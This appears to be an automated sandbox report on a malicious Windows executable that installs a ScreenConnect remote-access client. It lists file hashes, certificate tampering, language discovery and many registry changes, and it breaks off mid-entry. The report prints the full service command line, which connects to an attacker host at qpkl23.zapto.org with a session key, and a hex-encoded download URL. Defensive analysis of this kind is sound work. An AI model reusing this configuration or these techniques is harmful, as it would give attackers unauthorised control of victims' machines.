Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
118s -
max time network
127s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
14/10/2024, 14:23
Static task
static1
Behavioral task
behavioral1
Sample
defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe
Resource
win10v2004-20241007-en
General
-
Target
defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe
-
Size
81KB
-
MD5
ac8ba753feb59c96683b599a6b5e4988
-
SHA1
645ebe7d11b42abad125975786c32815e6150e13
-
SHA256
defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023
-
SHA512
21aa3342a55ce8af1b809c560f41ad4e5922f50cf394a74af7a35c93c81b6109d1a00afd6806b240b4e8c8a83a96d8981a04059382295d2a0f1b7b45b7df3909
-
SSDEEP
1536:BoG6KpY6Qi3yj2wyq4HwiMO10HVLCJRpsWr6cdaxPBJYYF7mxDE:7enkyfPAwiMq0RqRfbaxZJYYFD
Malware Config
Signatures
-
Manipulates Digital Signatures 1 TTPs 2 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054 defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe -
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\ScreenConnect Client (3b776ead-f4ad-41e1-88d0-71a737ecbd10)\ImagePath = "\"C:\\Users\\Admin\\AppData\\Local\\Apps\\2.0\\9DGJL7J5.QG2\\BTHKY264.52P\\scre..tion_25b0fbb6ef7eb094_0018.0002_39677f8182788693\\ScreenConnect.ClientService.exe\" \"?e=Support&y=Guest&h=qpkl23.zapto.org&p=8041&s=3b776ead-f4ad-41e1-88d0-71a737ecbd10&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAnQlgV5tGYU29772bH3D5nQAAAAACAAAAAAAQZgAAAAEAACAAAADjNZEK9zxPt8HcShvUbaMWJwilDv1enb08RXHzWf5XuQAAAAAOgAAAAAIAACAAAABIPnTzZLSp%2fVAL278n1VUi4uWzZpdtIRyupi2b2%2b9C4qAEAAD4IS0cVGQkCwdG76M898B6VJuVD%2f6CpOGl9G8B3%2bHJFZ1lCok9Vq%2bV535mSeo1IBwBDvsQup8jnUvcxc6PDVCgtxFrUlXjKidzoJbH7K1Lo61gSs6kshg7rqZqX4RJSFuxL5SnWADZVanFGvKVGRiQgEKCgnbeOjlFQZW6gB3LqDyFlKAq8NnOpoIQPWpiizOMN9Y2UluDV3ktK%2fxDrN%2bZNOfxgmNdIWS2vbg9py0xmp6T1ptVIcJcN1fYfxze62h5xkJ7FibpDJUPZh5xXZ54m2o2g2GBah9QgiC3KA9ii7AjOEeDIlJ7pLb9WMt6VtfW8RSueykRGWCpA%2f%2fuXUp6I2eeS6k3qa%2bDyHxYa126jHvRIVUcAwKVVdq4kEv2JTnpx5Bxqo0g3u%2b1NTUSCV3XeiExgZaAabNj2xODXXMBKF0p5rgeo5dMZZrvGZsIgm2snTLXUAZZI4QtgJ%2bflwDY5eA%2f86KAoFgbIVaL9fLvQR6uV0kKxxxALhWdPd%2b6IRkj3XO%2fdnLkGMaC9sq9wG883Fu5tZzEVNLfM3ADiyjK9jq0qDoTV8MDU8wIt0mdAgKxYqx9cuKzlJXbDfeQ03DQS7me%2b44FnUcuuwl0%2bZu5T8wpUS0hnpZNMwuK670XyGduCinQLyF47QZzPz3gm00MNz3%2bLCy2%2fA7aVkinkaJWrTB0eWMF3nzAb8Pzt%2fEo3QapdDSK%2bOO%2fKGroU9qcjkGfrjED3f55t1X%2bTrJ2gbsge8mgtSryDDJ93ZaF32qA%2fa9%2f6Myh%2bPS8o7J5F9L%2bXIQ1tyXPvb6wrnsGcDqv6FMd%2bb7%2fKgkujjBmXmclc7lVFF2X8COTPR7AoqKsRPvhdOdNbjYLpmxhZ31RV8jcNCVB5bvu5gS8XaOqeMu%2fSm4MshPgdwDr2EMsH1qOVejq6TDfgPyHzr4C3hlpv4SfagMOC6B7S4vA2XzXJTTayr0D6oMfHsaeXK6NpOvhKDFA23XfHsVWgaHMKX0zOCcqRpmz0Raibp8yzsljmR4gLvawlhKccSQ1rBBPX8O3%2fQkjiFgF57NIypJilRy24SyA9i%2bDd2t1fjPrALDpIgIj7oURcEu0xlI1UYFgP9ml6%2bvMj2ftgshEFiUlI9gMzQQOQGSuoF8V%2fO5voZBcJBiNO4CWLbQc3Fih3YRA%2b9Y0xF8pA3r41DEIUrqAC7E68%2f2DVAfhgVYMhUo9%2frOCjhOnPpXQU2FNEzGBp8HaHo0BgY7mBmuM18jRtLiCm1gMMlbcHscbyUqka6cehky1x7FwyBCIkO8fFym7Gn4SHYa9CPyu0hceesiN6eHgTZ5qJz%2fT8OMyUWM%2fv5kEoVs4DGsoEhqDYEzZfFe3evdrr43Zts5ff0Qq2Ab688MKT%2fPTNGRSFnS2npRrk7EwzmCIwONBAOyIC0HkIOwUkQGl1XvKAhtp9gfKTIL10iTamPafMpdjOMqbLGOYx4GkSToQ7YuImqGoJhqMm%2bSAkNI%2bWkTxic4%2bYDF9rOAhSnAIt6mVCaCzQ2FYjL7kvqXrMCs5Xx5Y48JfbwgbTyVFCRqgSk64CfHJ8hNLuBwbt8bew%2fByIEr%2fXqvWxEAAAADLLWjcJ3VXgIJEdckbxxHk9%2fN6vMgDyC9vMpXx9qSZqubc9ZtHYsOj6%2bzi%2b08zyLblqvl7BToQQl2SPRIYM4cb&r=&i=Untitled%20Session\" \"1\"" ScreenConnect.ClientService.exe -
Downloads MZ/PE file
-
Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\user.config ScreenConnect.WindowsClient.exe File opened for modification C:\Windows\system32\user.config ScreenConnect.WindowsClient.exe -
Executes dropped EXE 4 IoCs
pid Process 1408 ScreenConnect.WindowsClient.exe 1836 ScreenConnect.ClientService.exe 1132 ScreenConnect.ClientService.exe 2500 ScreenConnect.WindowsClient.exe -
Loads dropped DLL 16 IoCs
pid Process 1836 ScreenConnect.ClientService.exe 1836 ScreenConnect.ClientService.exe 1836 ScreenConnect.ClientService.exe 1836 ScreenConnect.ClientService.exe 1836 ScreenConnect.ClientService.exe 1836 ScreenConnect.ClientService.exe 1132 ScreenConnect.ClientService.exe 1132 ScreenConnect.ClientService.exe 1132 ScreenConnect.ClientService.exe 1132 ScreenConnect.ClientService.exe 1132 ScreenConnect.ClientService.exe 1132 ScreenConnect.ClientService.exe 1132 ScreenConnect.ClientService.exe 1132 ScreenConnect.ClientService.exe 1132 ScreenConnect.ClientService.exe 1132 ScreenConnect.ClientService.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0002_none_399c0f24bfe6e975\SizeOfStronglyNamedComponent = f005020000000000 dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471 dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\DigestMethod = 01 dfsvc.exe Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\ComponentStore_RandomString = "CHM2VDB07R7M5LDGBL3LVW2P" dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5} dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\NonCanonicalData dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\implication!scre..tion_25b0fbb6ef7eb094_0018.0002_ae93 = 68747470733a2f2f75707068656c702e746f702f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e322e31302e383939312c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\identity = 53637265656e436f6e6e6563742e57696e646f77732c2056657273696f6e3d32342e322e31302e383939312c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\identity = 53637265656e436f6e6e6563742e57696e646f7773436c69656e742c2056657273696f6e3d32342e322e31302e383939312c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{60051b8f-4f12-400a-8e50-dd05ebd438d1}\scre..tion_25b0fbb6ef7eb09 = 68747470733a2f2f75707068656c702e746f702f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e322e31302e383939312c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0002_ae93ec2462efb67b dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\DigestValue = da733f482825ec2d91f9f1186a3f934a2ea21fa1 dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471 ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0002_ae93ec2462efb67b dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion ScreenConnect.WindowsClient.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\Transform = 01 dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\Files dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\Files\ScreenConnect.Core.dll_b96889d378047e27 = 01 dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Applications dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\identity = 53637265656e436f6e6e6563742e436f72652c2056657273696f6e3d32342e322e31302e383939312c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0002_ae93ec2462efb67b\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e596 dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\Files\ScreenConnect.WindowsClient.exe.config_f7f1 = 01 dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\Files\ScreenConnect.ClientService.dll_e781b1c636f = 01 dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Applications\scre..tion_25b0fbb6ef7eb094_0018.0002_39677f8182788693\identity = 68747470733a2f2f75707068656c702e746f702f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e322e31302e383939312c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2f53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32342e322e31302e383939312c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332 dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0 ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\Gc_scre..tion_c90c8f89b96e2e2e ScreenConnect.WindowsClient.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb09 = 54007200750065000000 dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0002_39677f8182788693\lock!1d0000003f00780f80050000100b0000000000000000000000c03d = 30303030303538302c30316462316534346431333433613830 ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92 ScreenConnect.WindowsClient.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\lock!040000003000780f80050000100b00000000000000000000a = 30303030303538302c30316462316534346431333433613830 ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\Transform = 01 dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0002_39677f8182788693\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec248 = 01 dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\DigestMethod = 01 dfsvc.exe Set value (data) 